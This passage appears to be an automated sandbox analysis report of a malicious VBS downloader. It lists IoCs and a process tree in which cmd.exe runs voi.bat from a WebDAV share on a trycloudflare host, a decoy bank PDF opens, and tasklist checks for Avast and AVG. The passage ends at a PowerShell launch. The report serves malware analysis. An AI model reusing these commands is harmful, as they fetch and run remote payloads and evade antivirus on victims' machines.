2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe

Suspicious use of SetWindowsHookEx 62 IoCs

pid	Process
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
4732	Notepad.exe
5512	OpenWith.exe
5512	OpenWith.exe
5512	OpenWith.exe
5512	OpenWith.exe
5512	OpenWith.exe
5512	OpenWith.exe
5512	OpenWith.exe
5512	OpenWith.exe
5512	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
1036	OpenWith.exe
5328	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2224 wrote to memory of 4280	2224	chrome.exe	83
PID 2224 wrote to memory of 4280	2224	chrome.exe	83
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 3536	2224	chrome.exe	85
PID 2224 wrote to memory of 3536	2224	chrome.exe	85
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3508
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://ni-olympic-forests-invoice.trycloudflare.com
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:2224
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffce381cc40,0x7ffce381cc4c,0x7ffce381cc58
    3⤵
    PID:4280
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1800,i,11894368181364863603,17152869192929464340,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1796 /prefetch:2
    3⤵
    PID:2300
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2204,i,11894368181364863603,17152869192929464340,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2196 /prefetch:3
    3⤵
    PID:3536
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2232,i,11894368181364863603,17152869192929464340,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2484 /prefetch:8
    3⤵
    PID:1612
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3100,i,11894368181364863603,17152869192929464340,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3136 /prefetch:1
    3⤵
    PID:4760
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3108,i,11894368181364863603,17152869192929464340,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3172 /prefetch:1
    3⤵
    PID:3996
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4308,i,11894368181364863603,17152869192929464340,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4620 /prefetch:8
    3⤵
    PID:3224
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=4796,i,11894368181364863603,17152869192929464340,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4884 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4656
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5016,i,11894368181364863603,17152869192929464340,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5036 /prefetch:8
    3⤵
    PID:2932
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\tat.vbs"
    3⤵
    - Checks computer location settings
    PID:4484
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c \\ni-olympic-forests-invoice.trycloudflare.com@SSL\DavWWWRoot\voi.bat
      4⤵
      PID:4748
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5284,i,11894368181364863603,17152869192929464340,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4440 /prefetch:8
    3⤵
    PID:4856
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5308,i,11894368181364863603,17152869192929464340,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5144 /prefetch:8
    3⤵
    PID:2824
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=5344,i,11894368181364863603,17152869192929464340,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4740 /prefetch:1
    3⤵
    PID:3056
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\tat.vbs"
  2⤵
  - Checks computer location settings
  PID:2304
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c \\ni-olympic-forests-invoice.trycloudflare.com@SSL\DavWWWRoot\voi.bat
    3⤵
    PID:2564
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\tat.vbs"
  2⤵
  - Checks computer location settings
  PID:3016
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c \\ni-olympic-forests-invoice.trycloudflare.com@SSL\DavWWWRoot\voi.bat
    3⤵
    PID:3476
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:4128
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffcd24546f8,0x7ffcd2454708,0x7ffcd2454718
    3⤵
    PID:3004
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2024 /prefetch:2
    3⤵
    PID:1516
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 /prefetch:3
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4092
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2832 /prefetch:8
    3⤵
    PID:4872
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3364 /prefetch:1
    3⤵
    PID:468
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3372 /prefetch:1
    3⤵
    PID:2040
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4100 /prefetch:1
    3⤵
    PID:404
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5056 /prefetch:1
    3⤵
    PID:3224
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3632 /prefetch:8
    3⤵
    PID:3328
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3632 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4304
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5512 /prefetch:1
    3⤵
    PID:1676
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5660 /prefetch:1
    3⤵
    PID:1164
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6028 /prefetch:1
    3⤵
    PID:1664
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6128 /prefetch:1
    3⤵
    PID:4416
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5688 /prefetch:1
    3⤵
    PID:404
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3196 /prefetch:1
    3⤵
    PID:3768
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5340 /prefetch:1
    3⤵
    PID:2000
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5748 /prefetch:1
    3⤵
    PID:932
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5560 /prefetch:1
    3⤵
    PID:2732
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1432 /prefetch:1
    3⤵
    PID:4620
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5260 /prefetch:1
    3⤵
    PID:3412
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2408 /prefetch:1
    3⤵
    PID:5284
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=6176 /prefetch:6
    3⤵
    PID:5548
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\tat.vbs"
  2⤵
  - Checks computer location settings
  PID:3012
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c \\ni-olympic-forests-invoice.trycloudflare.com@SSL\DavWWWRoot\voi.bat
    3⤵
    PID:4176
- C:\Windows\System32\Notepad.exe
  "C:\Windows\System32\Notepad.exe" C:\Users\Admin\Downloads\tat.vbs
  2⤵
  - Modifies registry class
  - Opens file in notepad (likely ransom note)
  - Suspicious use of SetWindowsHookEx
  PID:4732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\voi.bat" "
  2⤵
  PID:836
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.bankbsu.ch/dam/jcr:72a8b29f-cccb-4e0f-9007-49b7e1773910/Factsheet-Unternehmen_QR-Rechnung.pdf
    3⤵
    PID:3136
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x100,0x104,0x108,0xd8,0x10c,0x7ffcd24546f8,0x7ffcd2454708,0x7ffcd2454718
      4⤵
      PID:1164
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.bankbsu.ch/dam/jcr:72a8b29f-cccb-4e0f-9007-49b7e1773910/Factsheet-Unternehmen_QR-Rechnung.pdf
    3⤵
    PID:112
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffcd24546f8,0x7ffcd2454708,0x7ffcd2454718
      4⤵
      PID:3620
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq AvastUI.exe"
    3⤵
    - Enumerates processes with tasklist
    PID:552
- - C:\Windows\system32\find.exe
    find /i "AvastUI.exe"
    3⤵
    PID:5132
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq avgui.exe"
    3⤵
    - Enumerates processes with tasklist
    PID:5400
- - C:\Windows\system32\find.exe
    find /i "avgui.exe"
    3⤵
    PID:5408
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
